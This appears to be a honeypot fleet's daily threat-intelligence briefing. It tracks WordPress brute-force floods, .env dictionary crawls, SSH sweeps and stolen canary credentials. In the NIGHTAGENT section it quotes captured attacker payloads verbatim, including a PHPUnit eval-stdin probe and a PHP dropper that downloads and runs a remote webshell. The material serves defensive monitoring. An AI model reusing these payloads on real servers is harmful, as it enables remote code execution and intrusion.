FLUX FLEET — INTEL BRIEFING №28

Period: 2026-09-21 07:33 – 2026-09-22 07:33 UTC (24h, day 27 of operations)
Sources: 7 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (Middle East), ru-edge-1 (Russia), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 27-day baseline, every result-tag spike attributed by spot query)

BLUF

Zero AWS use for the fifth straight cycle: 63 credentials went to 22 collector IPs and none converted. The netcup-ts +3,577% node spike is one BDCOM Bangladesh source (119.40.84.186) that stayed on the node for 6.5 hours and sent 18,063 xmlrpc system.multicall POSTs plus 18,063 /wp-login.php credential POSTs against 17,946 distinct password pairs — XMLRPC-BRUTE's fifth operator, an order of magnitude past №27's record burst. Frantech-ts absorbed a sixth MEGA-DICTIONARY replay (138.199.60.16, 13,057 GETs in 3 minutes, 209 IoT UAs) whose wordlist contains only 3 of the first-seen family paths, so the /c/ random-token family has split into a separate multi-operator crawler on 6 IPs. NIGHTAGENT returned for an eighth run from the same ONP Morocco IP, same GHSAT token, 14th window, and minted for the first time since №13.

Key Judgements

1. XMLRPC-BRUTE changed shape from burst to sustained campaign, and it now pairs xmlrpc with wp-login on the same host. 119.40.84.186 (BDCOM Online Limited, BD; ipsum:3 + firehol2) ran 18,063 system.multicall POSTs from 10:04:47 to 11:08:19 UTC (all to /xmlrpc.php, 1 path, 1 UA: forged Chrome/78.0.3904.108) and then 18,063 wp-login-credentials POSTs from 11:08:20 to 16:34:08 — 6.5 hours total, 36,126 POSTs, 0 mints. Distinct credential bodies: 17,946, so each POST carried a different password. №27's operator sent the same two shapes (1,873 xmlrpc + 18,063 wp-login POSTs from one IP on one node) — same actor logic, 10× the volume, a longer dwell. (High confidence — ip-journey and aggregate body counts on 119.40.84.186; the two phases are contiguous in time.)
2. The MEGA-DICTIONARY artifact stopped growing and the crawler family around it grew instead. 138.199.60.16 (Datacamp Limited, SG; ipsum:2) replayed 13,057 GETs / 13,008 paths / 209 UAs in 2m59s (00:56:53–00:59:51 UTC, 00:57–00:59 -04) — the second run from this ASN, six replays on record. The first-seen inventory this window (/c/ 100-char random tokens, /blogs/.env, /backend/.env.2, /auth/.env.conf, /api/credentials/.env, /cgi-bin/luci/) comes from a different set: 45.198.224.230/.233/.234/.237/.238/.239 ran a 120-path pass on frantech-ts (10:12 to 01:13, 1 UA, forged Chrome/114) and 1–2 event touches on 5 other nodes; only 3 of those paths overlap the dictionary. The dictionary wordlist is byte-stable at 13,000 + 4 /stub.*; the crawler that walks it now rotates IPs and wordlists separately. (High confidence — per-IP journeys for both sets and a targeted anti-join of the first-seen families against the replay's path set.)
3. NIGHTAGENT's eighth run added mints for the first time in 14 windows of observation. 105.158.191.248 (Office National des Postes e-TN/MA range) ran two full kit passes on canary-farm-1 (07:31:26–07:34:16 and 08:26:39–08:29:33 UTC): <?php echo "NightAgent";?> probe → nightshell dropper → fake-git walk → tarpit cycling → /whm + form login → wp-batch multiplex → 1 /.env mint at 08:29:24 (result issued). The GHSAT token GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA is byte-identical to its 13 prior windows. A mint from this actor means a credential from a known operator kit is now in the hoard — watch Tracebit for its use. (High confidence — bodyPreview captured verbatim on both stages; mint row carries result=issued on the same IP 55 seconds after the multiplex.)
4. The OMEGA-SWEEP /46 block ran its largest synchronized day since №16: 6,600 events, 35 mints, 4 operators, 3 nodes. .248 ran the 1,042-path census on canary-farm-1 (11:45:44–11:45:56, 12 mints) and again on control-1 (03:23:28–03:23:44, 1,050 ev, 5 mints); .249 ran the identical 2,100 ev on canary-farm-1 (17:09:47–17:09:59, 12 mints); .243 ran it on ru-edge-1 (16:11:02–16:11:16, 1,050 ev, 6 mints) and a 150-path pass on netcup (05:13–05:26); pool IP 94.154.43.60 kept its 9-event single-path pattern on 6 nodes. Two byte-identical 2,100-event runs 5h24m apart on the same node is scheduled automation, not opportunistic scanning. (High confidence — per-IP journeys match the registered 743/1,042-path template and the mint bursts sit inside 12-second windows.)

Active Campaigns (day 27 status)

CREDENTIAL-DRAIN (mint→use pipeline) ⟳ — FIFTH ZERO-USE WINDOW (Hostile, active)

• Actors: 22 collector IPs this window; top holders 94.154.46.248 (17 mints in 6 days), 213.209.159.175 (45 in 6 days), 94.154.46.249 (12), 94.154.46.243 (16). Use side: no AWS activity observed.
• TTPs: 63 credentials minted (digest 71 issued rows include the +4h cast boundary; the Tracebit pull is the credential count), 7 upstream rejections (tracebit-http-error 400). Mint types: aws on all 4 canary-bearing nodes.
• Assessment: the hoard keeps growing with zero observed consumption — 5 windows since №24's ConsoleLogin run. Credentials minted but unused are hostile-held inventory until they expire; the persistent-collector list below is the watch set.

XMLRPC-BRUTE / WP-LOGIN FLOOD ⟳ — FIFTH OPERATOR, BURST→SUSTAINED (Hostile, active)

• Actors: 119.40.84.186 (BDCOM Online Limited, BD; ipsum:3, firehol2). Prior operators: 207.175.64.93 (Google BE, №16), 35.233.85.98 (GCP BE, №14), 1337 Services (days 2–7), 119.40.84.186 (№27, same IP, 1,873 xmlrpc POSTs).
• TTPs: preflight GET / (tarpit-module), /wp-includes/wlwmanifest.xml (200), /wp-login.php (200), /wp-json/wp/v2/users/ (200), /wp-json/oembed/1.0/embed (404); then 18,063 POST /xmlrpc.php bodies <?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><param... (bodyBytesRead 480–482, all 200); then 18,063 wp-login-credentials POSTs, 17,946 distinct bodies. Single forged UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36. 0 mints.
• Assessment: commodity WordPress credential tooling ran against a deception-only node for 6.5 hours. The wp-login leg on netcup (18,177 of 19,101 fleet-wide wp-login-credentials) is the same single operator — the campaign now has two stages, not one. The remaining 924 credential POSTs fleet-wide came from 37 IPs (largest: 85.214.50.153 netcup 44, 139.99.56.79 netcup 33) — background brute, not a campaign.

MEGA-DICTIONARY ⟳ — SIXTH REPLAY, WORDLIST BYTE-STABLE (Hostile, active)

• Actors: 138.199.60.16 (Datacamp Limited, SG; ipsum:2) — same ASN as №23's 138.199.6.195 and №27's 138.199.60.29. Prior hosts: 23.234.119.20 (tzulo US), 155.2.191.165 (Host Universal AU), 169.150.201.29 (Datacamp DE).
• TTPs: 13,057 GETs / 13,008 paths / 209 UAs in 2m59s (00:56–00:59 UTC), 13,052 not-handled; top UAs are IoT firmware strings (Micro_httpd/12sep09, Y589-L5/V4.0.4 UPnP/1.0 Edup/Y589-L5, D-Link DSL-2750U, TP-LINK Archer C20 AC750). Wordlist unchanged at 13,000 + /stub.*×4 — the version tracker holds for a second cycle.
• Assessment: six replays, six hosts, one shared manifest; the artifact outlives its operators. The 45.198.224.x crawler (see next) walks adjacent terrain but is a separate actor.

⚠ NEW: TOKEN-CRAWLER (/c/ random-token dictionary, 45.198.224.0/24) — FIRST REGISTRATION (Hostile, new)

• Actors: 45.198.224.230, .233, .234, .237, .238, .239 (6 IPs, one /24) — 120-path coordinated pass on frantech-ts 2026-09-21 10:12 to 09-22 01:13 (1 UA, forged Chrome/114.0.0.0), plus 1–2 event touches on ai-devbox-1, canary-farm-1, control-1, ru-edge-1, sponge-01-ts. The digest's first-seen /c/<100-char-token> paths and the .env-variant family (/blogs/.env, /backend/.env.2, /auth/.env.conf, /api/credentials/.env) belong to this cluster; 169.58.252.153 (Contabo FR) and 94.154.46.243 account for 4 events each of the same families.
• TTPs: random 100-character path tokens under /c/ (enumerate-with-fresh-tokens shape, first-ever in fleet history), .env directory variants, /cgi-bin/luci/ (OpenWrt), /app-ads.txt, /uis/, /news/, /spaces/. All results not-handled, 0 mints. The №23–№24 frantech /c/ Chrome/114 crawler (1,099 all-time paths under vanity Host headers) is a related shape — this window's cluster adds a coordinated 6-IP /24 and the .env families.
• Assessment: a crawler that mints fresh path tokens per pass defeats path-based blocking and first-seen tracking by design; only the token structure and the /24 identify it. Promote to full campaign status if the /24 returns with mints or POST capability.

NIGHTAGENT ⟳ — EIGHTH RUN, FIRST MINTS SINCE №13, TOKEN 14TH WINDOW (Hostile, active)

• Actors: 105.158.191.248 (Office National des Postes range, residential python client). Prior operators: 9 IPs across DELTA Fiber NL, ONP MA, ONP e-TN.
• TTPs: two full passes on canary-farm-1 (07:31:26 and 08:26:39 UTC): HEAD / → POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php with <?php echo "NightAgent";?> → dropper <?php copy('https://raw.githubusercontent.com/nightagents/nightshell/refs/heads/main/night.php?token=GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA','night.php');readfile('night.php'); ?> → /.git/config + /.git/index (fake-git) → /.DS_Store → tarpit cycling → /whm + /openid_connect/cpanelid → POST /login/ with user=root&pass=wrong → wp-batch {"requests": [{"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts"... → config-bundle walk with /..;/env*.js Tomcat bypass. 1 mint at /.env 08:29:24 (issued).
• Assessment: the kit is unchanged across 14 windows and now collects credentials in addition to seeking execution. The unrotated GitHub token stays the highest-value takedown lever; the abuse report remains unfiled.

OMEGA-SWEEP ⟳ — /46 BLOCK SYNCHRONIZED FOUR-OPERATOR DAY (Hostile, active)

• Actors: 94.154.46.248 (Omegatech US; farm 2,100 ev + control 1,050 ev, 17 mints), .249 (farm 2,100 ev, 12 mints), .243 (ru-edge 1,050 ev + netcup 150-path, 6 mints), pool 94.154.43.60 (6-node 9-ev pattern). 45.138.12.16 (Tc Datacenter LT, №27 extension candidate) did not return — second-run test failed, stays a candidate.
• TTPs: the registered 1,042-path census with forged Googlebot/2.1; .243's netcup pass is the standing 150-path shape. Mint bursts sit inside 12-second windows at /.env.
• Assessment: the /46 block minted 35 of the window's 63 credentials. Two byte-identical 2,100-event runs on canary-farm-1 from .248 and .249 five hours apart make sure of one point: the census is scheduled infrastructure. The hoard from this block is the fleet's largest open collection (≈290+ named-collector credentials all-time, zero AWS use).

REGISTRY-HUNT / LeakIX ⟳ — 7 RUNNERS, 1 MINT EACH (Borderline, active)

• Actors: 7 full-kit l9scan IPs (DigitalOcean): 143.244.168.161, 138.197.191.87, 165.227.173.41, 164.92.107.174 (ai-devbox-1, 41/41/41/39 ev), 209.38.248.17, 64.225.75.246, 134.209.25.199 (canary-farm-1, 41 ev each); fragment 128.199.182.55 (1 ev). All but 134.209.25.199 minted exactly 1 at /.env (6 mints).
• TTPs: the 12-step WebLogic → Confluence → WHM/cPanel → docker-registry census (/v2/internal/api-gateway/tags/list, manifests/latest, auth-service/tags/list).
• Assessment: the 1-mint-per-IP cadence holds for a 16th window; LeakIX is a public leak-scanner, distinct from criminal operators. 134.209.25.199 is a repeat collector (4 mints in 6 days) that skipped its mint this run.

Standing actors (persistence check)

• 213.209.159.175 (Feo Prest DE) — 16th consecutive window: canary-farm-1 272 ev / 227 paths (3 mints, MSIE-7 forgeries) + control-1 77 ev / 39 paths (6 mints, IE7 + Safari 5.1 forgeries). 45 all-time mints in the 6-day pull, still the fleet's top persistent collector; zero AWS use.
• 213.209.159.154 (Feo Prest DE) — second /24 operator widened again: frantech-ts 235 ev + netcup-ts 235 ev (identical 233-path passes, 0 mints — first no-canary-node pair) + control-1 38 ev (1 mint). Both /24 operators now run multi-node.
• 102.220.161.87 (VPS Dedicated SI, CREDSWEEP) — returned on 5 nodes with a 1-path × 201-event tarpit loop (0 mints). The /24's three-operator pattern (.87, .102, .139) continues; .139 and .102 absent this window.
• 204.76.203.18 (Pfcloud UG NL, MALWARE-DICT loop) — 2,775 ev on 2 nodes (control-1 + ru-edge-1), 572 paths, 0 mints: the continuous loop regime from №27 holds, no new dictionary growth.
• 193.32.204.199 (git-walker) — absent this window after №27's 3-node run.
• 185.73.23.162 (Ruhr-Uni Bochum, benign) — 361 ev of /-only research scanning on netcup + sponge; unchanged.
• 94.154.43.60 (pool IP) — kept its 6-node 9-event single-path pattern for another window.
• Benign scanners present: Censys, zgrab, Palo Alto Xpanse, OAI-SearchBot — all shallow, honest UAs, no mints. The 275-event 6-family 10-path synchronized wave (34.74.108.117 Google, 64.207.176.102 GoDaddy, 47.82.146.212 Alibaba, 51.75.19.210 OVH, 1 POST each) keeps its uniform shape across 4 nodes.

Network-layer recon (Arkime)

Network-layer recon (Arkime) — 2026-09-21 07:33:00 → 2026-09-22 07:34:05 UTC

Fingerprint field ssh.hassh, destination port 22 · 78,305 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 54,494, sensor:sponge-01-ts 25,560, sponge-01-ts 25,560, sensor:ru-vps-01-ts 16,120, bahrain-sponge-01-ts 11,378, sensor:bahrain-sponge-01-ts 11,378

Flagged sweeps (2) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,707 sessions from 358 source IPs across 192 networks in 55 countries, port 22, avg 4,938 B/session. Networks: AS8075 Microsoft Corporation, AS14061 DigitalOcean, LLC, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS16276 OVH SAS, AS150436 Byteplus Pte. Ltd.. Busiest sources: 13.72.83.77, 200.121.10.45, 175.97.207.27, 12.156.67.18, 199.19.225.232. Last 7 days: 09-16 85 IPs, 09-17 66 IPs, 09-18 147 IPs, 09-19 328 IPs, 09-20 327 IPs, 09-21 373 IPs, 09-22 131 IPs.
• 06ff3615a51b2af343ec22abc8e30bbc — client banner ssh-2.0-go, 220 sessions from 136 source IPs across 113 networks in 44 countries, port 22, avg 4,827 B/session. Networks: AS1897 Nos Comunicacoes, S.A., AS16276 OVH SAS, AS37532 ZAMREN, AS14061 DigitalOcean, LLC, AS45766 Triangle Services Limited.. Busiest sources: 213.205.68.170, 41.63.32.22, 73.34.17.163, 103.113.153.50, 103.87.16.26. Last 7 days: 09-10 653 IPs, 09-11 645 IPs, 09-12 398 IPs, 09-17 274 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Network-layer notes

• LIBSSH-MASSSWEEP stays the highest-volume SSH client: 358 IPs / 192 networks / 6,707 sessions. The 09-19/09-20 surge (327–373 IPs/day) held through 09-21 and cooled to 131 on 09-22 — read the cooling as partial-window censoring, not a trend, until the next full day.
• GO-BANNER-SWEEP (594c5787…) is absent from the recon digest at the ≥5-session floor for a second consecutive cycle. The digest's daily history shows the Go-banner client last at scale on 09-12 (398 IPs). Register a pause now: two misses at this granularity after 24 Aug–12 Sep of daily presence.
• NEW UNNAMED SWEEP: 06ff3615a51b2af343ec22abc8e30bbc (banner SSH-2.0-go) — flagged this window: 136 source IPs / 113 networks / 44 countries / 220 sessions in a 5h40m burst on 09-21 09:01–14:41. The same fingerprint shows daily history on 09-10 (653 IPs), 09-11 (645), 09-12 (398), 09-17 (274) — it predates this window but first crossed the dispersed-sweep threshold now. Not the registered GO-BANNER-SWEEP (different fingerprint); not the unregistered sibling 16443846184e… either, which ran 7,607 sessions / 36 IPs in its usual single-source shape. Registered below as GO-SPRAY-SWEEP.
• Standing single-source clients 0a07365cc01f… (24,786 sessions / 44 IPs) and 16443846184e… (7,607 / 36) are unchanged background.

Fleet Observations

• Mint economics: 63 credentials to 22 collector IPs (digest rows: 69 issued / 71 rows with the cast boundary). Failures: 7 × 400 Bad Request (farm 4, aidev 2, control 1); failure ratio 0.11:1 — the best band on record, one step under №27's 0.16:1. ru-edge-1: zero failures.
• Zero AWS use, fifth consecutive window. The mint→use funnel is armed but idle: 63 stolen credentials sit in hostile hands with no observed consumption. Persistent hoard candidates from the 6-day pull: 213.209.159.175 (45), 80.94.95.211 (27, absent this window), 31.57.219.158 (20), the OMEGA /46 block (17+16+12+10+10 across .248/.243/.242/.249/.245).
• Attribution posture: 0 empty-clientIp rows in-window (socket-peer build verified again). XFF counters: 625 any-XFF, 100 multi-entry chains, 337 present-but-internal, 100 single-entry forgeries — the fourth counter's largest day since the counter shipped on 09-15 (prior hostile hits: 2 rows №22, 4 rows №24). The 100 mismatch rows need a socketPeer pivot before naming an actor; treat the count as an active laundering signal, not a fleet defect. TLS split: canary-farm-1 90 https / 6,780 http; ai-devbox-1 98 https / 1,122 http; sso.rightabouteverything.show carried 246 events, inference.fapthropic.com 200.
• Control velocity: 5,088 events / 145 unique IPs in-window — the highest daily-IP count since the 09-15 attribution fix, above the 62–129 band that held since 09-16. Day 10 of the deliberately-fresh dataset; the ramp continues.
• Node volume moves, all attributed: netcup-ts +3,577% = 119.40.84.186's two-stage flood (36,126 of 37,866 events). frantech-ts +46% = 138.199.60.16's dictionary replay (13,057 of 15,747) plus the 45.198.224.x crawler. canary-farm-1 +91% = the OMEGA .248/.249 double census (4,200 events) plus .243's netcup share of the block's traffic. ai-devbox-1 −71% = no OMEGA /46 run on the node this window (№27 had 1,471).
• ssh/telnet honeypot (frantech-ts only — single sensor, not fleet-wide): funnel 669 sources → 489 shells (73%) → 312 command-runners (64% of shell-getters). Event level: 15,814 attempts → 5,963 accepted logins → 5,097 commands. Zero new commands (0 of 59 distinct) and zero new credential pairs (0 of 9,409) — third consecutive fully static window. Top pairs unchanged: 345gs5662d34 (1,193 attempts) and root/3245gs5662d34 (881). Commodity telnet botnets: 550 attempts.

Canary credentials

Summary

No canary credentials were used in AWS during the window. Fleet sensors minted 63 credentials to 22 collector IPs; none reached AWS.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 213.209.159.175: 45 mints, 2026-09-15 23:33 → 2026-09-21 18:09
• 80.94.95.211: 27 mints, 2026-09-16 21:23 → 2026-09-21 02:12
• 31.57.219.158: 20 mints, 2026-09-18 19:15 → 2026-09-18 19:38
• 94.154.46.248: 17 mints, 2026-09-21 11:45 → 2026-09-22 03:23
• 94.154.46.243: 16 mints, 2026-09-15 20:50 → 2026-09-21 16:11
• 94.154.46.244: 16 mints, 2026-09-17 09:24 → 2026-09-19 08:51
• 94.154.46.242: 12 mints, 2026-09-15 15:58 → 2026-09-17 08:56
• 94.154.46.249: 12 mints, 2026-09-21 17:09 → 2026-09-21 17:09
• None: 11 mints, 2026-09-15 03:35 → 2026-09-15 10:51
• 176.65.144.71: 10 mints, 2026-09-18 06:02 → 2026-09-18 06:02
• 94.154.46.245: 10 mints, 2026-09-20 17:53 → 2026-09-20 17:53
• 94.154.46.250: 10 mints, 2026-09-16 12:34 → 2026-09-20 21:45
• 102.220.161.139: 9 mints, 2026-09-15 21:00 → 2026-09-20 03:44
• 129.222.206.62: 8 mints, 2026-09-15 18:35 → 2026-09-15 21:40
• 2a01:e0a:3be:cec0:f54c:335a:8d29:be: 8 mints, 2026-09-17 17:04 → 2026-09-17 17:04
• 8.234.173.27: 7 mints, 2026-09-16 00:03 → 2026-09-16 00:03
• 195.177.94.18: 6 mints, 2026-09-19 23:59 → 2026-09-22 04:31
• 23.234.114.118: 6 mints, 2026-09-18 12:28 → 2026-09-18 14:07
• 94.154.46.247: 6 mints, 2026-09-16 04:01 → 2026-09-16 04:02
• 102.220.161.102: 5 mints, 2026-09-18 00:13 → 2026-09-20 03:42
• 167.99.79.44: 5 mints, 2026-09-19 18:01 → 2026-09-19 20:02
• 134.209.25.199: 4 mints, 2026-09-15 21:06 → 2026-09-21 20:20
• 155.117.232.31: 4 mints, 2026-09-20 20:47 → 2026-09-20 21:20
• 178.16.54.184: 4 mints, 2026-09-17 14:21 → 2026-09-17 14:21
• 196.89.218.205: 4 mints, 2026-09-18 00:57 → 2026-09-18 01:39
• 209.38.208.202: 4 mints, 2026-09-15 21:40 → 2026-09-20 20:18
• 213.209.159.154: 4 mints, 2026-09-17 20:33 → 2026-09-22 02:28
• 45.138.12.16: 4 mints, 2026-09-20 17:25 → 2026-09-21 01:36
• 69.5.20.14: 4 mints, 2026-09-16 09:23 → 2026-09-16 15:50
• 159.89.174.87: 3 mints, 2026-09-15 21:40 → 2026-09-20 20:18
• 165.227.173.41: 3 mints, 2026-09-16 14:49 → 2026-09-21 20:33
• 167.99.181.249: 3 mints, 2026-09-15 18:13 → 2026-09-17 20:23
• 176.65.148.71: 3 mints, 2026-09-16 17:48 → 2026-09-19 07:02
• 209.38.248.17: 3 mints, 2026-09-15 20:29 → 2026-09-21 20:19
• 41.249.4.249: 3 mints, 2026-09-17 03:54 → 2026-09-17 03:55
• 64.226.65.160: 3 mints, 2026-09-15 20:17 → 2026-09-16 21:06

(The canary section is Summary + funnel only this window; attribution prose sits in Campaigns — NIGHTAGENT's first mint and the OMEGA /46 block's 35 mints are the two new evidence points.)

Gaps / Next Collection

1. The 100 single-entry XFF forgeries. The mismatch counter's largest day since 09-15 is unattributed at briefing time. Pivot on socketPeer next cycle: group the 100 mismatch rows by socket peer, name the top set, and decide whether this is one launderer or a scanner fleet.
2. GO-SPRAY-SWEEP's operator logic. The 06ff3615a51b… fingerprint (SSH-2.0-go, 136 IPs/113 networks) crossed the dispersed threshold for the first time after appearing daily at smaller spread 09-10→09-17. Watch whether its daily-IP count returns above 300 or the burst was a one-day scan.
3. NIGHTAGENT's mint. 105.158.191.248's credential is the first from this campaign. Pull Tracebit alerts mid-cycle tomorrow; if it converts, the use IP joins the CREDENTIAL-DRAIN registry row with an operator attribution.
4. The 45.198.224.x /c/ crawler. One coordinated 120-path pass in its first observed window. A second pass with POST capability or a mint promotes it beyond the new-campaign row; the /24 is the correlation key, not the rotating path tokens.

Digest: /data/flux-logs/reports/flux-digest-2026-09-22.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-09-22-r2.html

Watch next cycle: (1) The 100 single-entry XFF forgeries — pivot on socketPeer and attribute. (2) GO-SPRAY-SWEEP (06ff3615a51b…) — does the SSH-2.0-go dispersed sweep return above threshold. (3) NIGHTAGENT's first-ever mint — whether it converts to AWS use.